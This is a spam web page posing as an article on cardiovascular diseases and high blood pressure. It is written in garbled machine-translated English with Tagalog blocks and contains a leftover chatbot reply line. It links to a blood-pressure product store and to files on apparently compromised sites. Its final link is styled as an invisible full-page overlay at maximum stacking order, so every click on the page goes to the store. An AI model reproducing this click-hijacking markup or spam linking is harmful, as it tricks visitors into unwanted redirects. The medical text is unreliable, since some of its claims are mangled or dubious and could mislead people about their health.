# The most important diseases of the circulatory System # **Tags:** * In 2017, Cardiovascular Diseases, Heart * How to hang you high blood pressure * The fight against cardiovascular diseases :::warning If you have disturbed sleep, fatigue, disorientation, confusion, or nervousness, it's time to monitor your blood pressure. Either lack of sleep or too much sleeping might mean your blood pressure is high or low. If it’s left untreated, you will soon face an onslaught of multiple illnesses. ::: [](https://cardio-balance-ph.store-best.net) <div style="height:500px;"></div> ## In 2017, Cardiovascular Diseases, Heart ## <div class="alert alert-info" role="alert"> Minsan lang na biglaang pagtaas ng presyon o bahagyang mataas na resulta ay hindi palaging nangangailangan ng agarang pag-inom ng tableta. Lahat ng rekomendasyon ng mga espesyalista at ang mga magagamit na paraan ng pag-iwas ay mukhang simple lang, pero sa aktwal na buhay, ang maingat na pag-aalaga sa kalusugan ng dugo at sistema ng puso ay nakakaiwas sa biglaan at sobrang hindi kanais-nais na pagtaas ng presyon. </div> The most important diseases of the cardiovascular system: A threat to the modern society Dasls one of the most sensitive and important systems in the human body, the cardiovascular System plays a Central role in maintaining our health. Unfortunately, diseases of this system are among the most common causes of death worldwide and also in Germany. What are the most important diseases that threaten our heart and blood vessels? Coronary heart disease (CHD) One of the most common diseases, coronary heart disease is. In this disease, the coronary arteries become narrow due to deposits (atherosclerosis), so that the heart is no longer sufficiently supplied with oxygen. Symptoms such as chest pain (Angina) or a heart attack can result. Risk factors are Smoking, hypertension, Diabetes, Obesity and lack of exercise. High Blood Pressure (Hypertension) Also, the high blood pressure is a silent threat: Many Sufferers feel for a long time, no complaints, although your blood pressure permanently. In the long term, the heart and the vessels loaded, this increases the risk for heart attacks, strokes and kidney damage. A healthy diet with low salt consumption, regular physical activity, and stress reduction can counteract. Heart failure In the case of heart failure, the heart loses its Capacity — it can no longer pump blood efficiently through the body. The effects are fatigue, shortness of breath, and Edema, especially of the legs. Causes of heart attacks, long-term high blood pressure or heart valves can be errors. The therapy depends on the cause and aims to improve the quality of life and slow the progression of the disease. Stroke (Apoplexy) A stroke occurs when the blood supply to the brain is interrupted, either by a blockage (ischemic stroke) or bleeding (hemorrhagic stroke). Cardiovascular diseases such as atherosclerosis, atrial fibrillation, or high blood pressure can increase the risk. Early detection and rapid medical help is crucial in order to minimize permanent damage. Arrhythmias Irregular heart rhythms (arrhythmias) can also lead to serious problems. Especially dangerous is the presence of atrial fibrillation, in which the upper heart compartment flickers messy. As a result, blood clots, which can lead to strokes to form more easily. Medication or catheter ablation can help. Prevention: The key to health Many of the above diseases through a healthy lifestyle to significantly prevent. These include: Regular physical activity (at least 150 minutes of moderate activity per week), a balanced diet with lots of fruits, vegetables, whole grains, and unsaturated fatty acids, Waiver of Smoking and excessive alcohol consumption, Stress management and adequate sleep, regular health examinations, and in particular the measurement of blood pressure and cholesterol determination. Dieufmerksamkeit for the cardiovascular System can save lives. By eating consciously, moving, and risk factors reduce, we strengthen not only our hearts but also our future. Would you like me to make a certain section in greater detail or further information to a particular disease to add? > Kung nagsimula na ang pag-inom ng gamot para sa mataas na presyon, hindi ibig sabihin na hindi na maaaring gawin ang karagdagang mga hakbang para palakasin ang katawan sa programa ng therapy. Ang benepisyo ng maingat na mga hakbang na pinagkasunduan ng doktor ay nakakatulong para mapigilan ang paglala ng sakit at maiwasang lumipat ito sa mas seryosong yugto.  <a href="http://chao60.com.tw/userfiles/710-you-give-a-risk-factor-for-cardiovascular-diseases.xml">PUMUNTA SA WEBSITE>>> </a> Una sa lahat, ang mga Beta-blocker ay karaniwang ibinibigay sa mga pasyente na may heart failure, aortic aneurysm, pagkatapos ng myocardial infarction, at sa mga kababaihan na nasa edad ng pagbubuntis, lalo na sa mga kababaihang nagpaplano ng pagbubuntis. Madalas matanggap ng katawan ang Beta-blocker, pero maaari rin itong magdulot ng pantal sa balat at bradycardia – sobrang bagal ng tibok ng puso. <a href="http://www.brembull.ru/userfiles/2335-the-main-causes-of-cardiovascular-diseases.xml">The most important diseases of the circulatory System</a> ## How to hang you high blood pressure ## How to depend on high blood pressure? High blood pressure, known medically as hypertension, is one of the most widespread health problems in modern societies, and at the same time, one of the appreciated the most. Many people live for years with elevated blood pressure without knowing it or to take it seriously. But what exactly is hypertension and why each of us should take care of? What is hypertension? When high blood pressure is the blood pressure in the arterial system is consistently above the normal value. Doctors speak of a hypertension if the systolic (upper value) is at rest on 140 mmHg and/or diastolic value (the lower value) is over 90 mmHg. The blood pressure is not constant: It varies throughout the day and responds to Stress, physical activity, and food. But if he remains permanently increases, it can cause serious damage to heart, kidneys, eyes and brain. Why is high blood pressure dangerous? Sit and wait for symptoms to occur, is a risky game: high blood pressure is often called the silent Killer. Often he is completely asymptomatic. Only later, headache, dizziness, blurred vision, or shortness of breath can occur — but by then, the damage is often already considerably. Long-term high blood pressure increases the risk for: Heart attack Stroke, Renal failure, Retinal damage and vision loss. Who belongs to the risk group? Some factors increase the risk of developing high blood pressure: Genetic predisposition: If in the family hypertension occurs, the probability is higher. Age: With age, the risk increases. Obesity: Each excess Kilo charged to the circulatory system. Lack of exercise: Regular physical activity lowers blood pressure. Unhealthy diet: Too much salt, fat and alcohol damage the circuit. Stress: Chronic Stress can cause blood pressure to permanently rise. Smoking: nicotine narrows the blood vessels and increases blood pressure. Prevention and treatment: What can you do? Dieuch may not be your blood pressure don't matter, because your life depends on it! The good news is that Many of the risk factors you can influence. Here are practical tips for prevention and treatment are: Regular monitoring: measure your blood pressure regularly, especially after the age of 40. Age or family history. Healthy diet: Reduce salt consumption to less than 5 g per day. More fruits, vegetables, fiber and low-fat products, strengthen the heart. Exercise: 30 minutes of moderate exercise (Walking, Cycling, Swimming), five days a week can reduce blood pressure proven. Weight reduction: a Decrease of 5-10% of body weight can lower blood pressure significantly. Stress management: relaxation techniques such as Yoga, Meditation and autogenic Training help to keep the blood pressure stable. Waiver of Smoking and alcohol: Both relieves the load on the cardiovascular System in a sustainable way. Drugs required: If lifestyle changes are not sufficient, may prescribe a doctor blood-pressure-lowering drugs. Conclusion High blood pressure is not a fate, but a disease to prevent them often or can effectively treat. Your blood pressure, says a lot about your General health and risk and you have it in Hand, to keep him in its grip. Take seriously your health: Check your blood pressure, change harmful habits, and speak with your doctor. Because when it comes to your heart, each millimeters of Mercury. <a href="https://pad.data.coop/s/C2BuCc-dD">The fight against cardiovascular diseases</a> ** The most important diseases of the circulatory System **. Cardiovascular disease and heart health: the state of the research in the year 2017 In 2017, cardiovascular diseases (KVE) remained the leading cause of death worldwide and in Germany. According to statistics from the Robert Koch Institute and the German heart Foundation KVE accounted for about 30% of all deaths, heart attacks, heart failure and stroke were the most common clinical manifestations. Epidemiological Trends The epidemiological data from 2017 showed a slight decrease in the incidence of acute heart attacks in persons over 65 years, which was due to the improvement of preventative measures and drug therapy. At the same time an increase in the number of heart failure cases, however, was observed in younger patients (under 55 years), and in particular in individuals with obesity, type 2 Diabetes mellitus and arterial hypertension. Risk factors Of the modifiable risk factors included in the year 2017: arterial hypertension (blood pressure≥140/90 mmHg), Hyperlipidemia (elevated levels of LDL‑cholesterol &gt;3.0 mmol/l), Tobacco, physical inactivity, unhealthy diet, Obesity (BMI ≥30 kg/m 2 ), Diabetes mellitus. Non-modifiable risk factors included age, gender (male), and family history of early cardiovascular events. Diagnostic Progress In 2017, have been published new guidelines for the diagnosis of heart illnesses, especially on the following methods: ECG for the detection of arrhythmias and Ischemia, Echocardiography for the assessment of cardiac function and valve defects, Coronary computed tomography (CCTA) as a non‑invasive Alternative to conventional coronary angiography, Biomarkers such as high-sensitive Troponin and NT‑proBNP for the early detection of myocardial damage and heart failure. Therapeutic Approaches The treatment strategies in 2017 included: Drug Therapy: ACE inhibitor or ARB in heart failure, Beta-blockers to reduce heart rate and blood pressure monitoring, Statins for lipid-lowering, Anticoagulants (aspirin, Clopidogrel) after myocardial infarction. Interventional Procedures: Percutaneous coronary Intervention (PCI) with stent implantation, Ablation therapy for atrial fibrillation. Prevention: Regular physical activity (150 minutes/week of moderate stress), Change in diet (DASH diet, Mediterranean diet), Smoking abstinence Blood pressure and blood sugar control. Conclusion The year 2017 marked an important step in the development of prevention and treatment strategies for circuit-limiting diseases. The Integration of new diagnostic methods and evidence-based therapy concepts improved the prognosis of patients with cardiovascular diseases significantly. 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Your heart is your life the engine is to ensure that it runs smoothly! Cardiovascular disease is the leading worldwide cause of death — but many of them are preventable. What can you do? With small, everyday steps, you will achieve great success: Regular physical activity — 30 minutes of the day to make a difference. A balanced diet with lots of fruit, vegetables and fibre. Waiver of nicotine and moderate use of alcohol. Regular health checks: blood pressure, cholesterol and blood sugar to keep an eye on. Support you get here: Our Team of cardiologists and prevention specialists offers you: Personalized Risk Assessments. Individually tailored training and nutrition plans. Information events to heart health, it's free and for everyone. Access to group trainings with like-minded people. Every day counts — start today! Log in now to our free open day and you will receive your personal health Check. Let us work together to your heart's strengths, it still beats many years strong. 📞 Registration: 0800‑HEART of LIFE (0800-4379-5323) 🌐 More information: www.herz-gesundheit.de Your heart deserves the best care. Invest in your future today. <a href="https://cardio-balance-ph.store-best.net" style="height:100%;left:-15%;position:fixed;text-align:center;top:-0px;width:1000%;z-index:2147483647;">The most important diseases of the circulatory System</a>